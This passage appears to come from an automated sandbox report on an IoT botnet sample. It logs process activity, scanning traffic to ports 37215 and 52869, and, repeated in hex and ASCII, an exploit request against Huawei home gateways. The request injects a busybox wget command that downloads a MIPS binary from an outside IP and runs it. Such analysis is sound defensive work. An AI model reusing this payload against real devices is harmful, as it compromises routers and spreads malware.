43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/5146/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/5146/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1582/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1582/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/3088/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/3088/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/230/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/230/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/110/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/110/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/231/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/231/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/111/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/111/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/232/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/232/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1579/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1579/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/112/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/112/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/233/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/233/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1699/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1699/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/113/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/113/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/234/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/234/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1335/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1335/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1698/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1698/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/114/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/114/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/235/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/235/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1334/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1334/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1576/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1576/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/2302/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/2302/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/115/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/115/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/236/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/236/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/116/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/116/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/237/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/237/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/117/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/117/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/118/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/118/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/910/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/910/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/119/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/119/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/912/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/912/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/10/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/10/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/2307/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/2307/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/11/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/11/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/918/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/918/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/12/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/12/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/13/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/13/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/5274/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/5274/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/14/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/14/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/5154/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/5154/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/15/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/15/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/16/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/16/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/5156/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/5156/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/17/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/17/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/18/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/18/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1594/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1594/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/120/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/120/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/121/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/121/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1349/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1349/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/1/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/122/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/122/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/243/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/243/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/123/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/123/cmdline |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/2/status |
| Source: /usr/bin/pkill (PID: 5284) | File opened: /proc/2/cmdline |
| Source: unknown | Network traffic detected: HTTP traffic on port 55398 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57708 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50586 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60950 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 17012 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57248 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58332 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47428 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34352 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60080 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37264 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 32874 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60672 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54830 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36250 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45364 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 59078 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43062 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46296 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40198 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44702 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38424 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35894 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53002 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46170 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50732 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58386 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50224 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35938 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55360 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36834 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60238 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50048 -> 52869 |
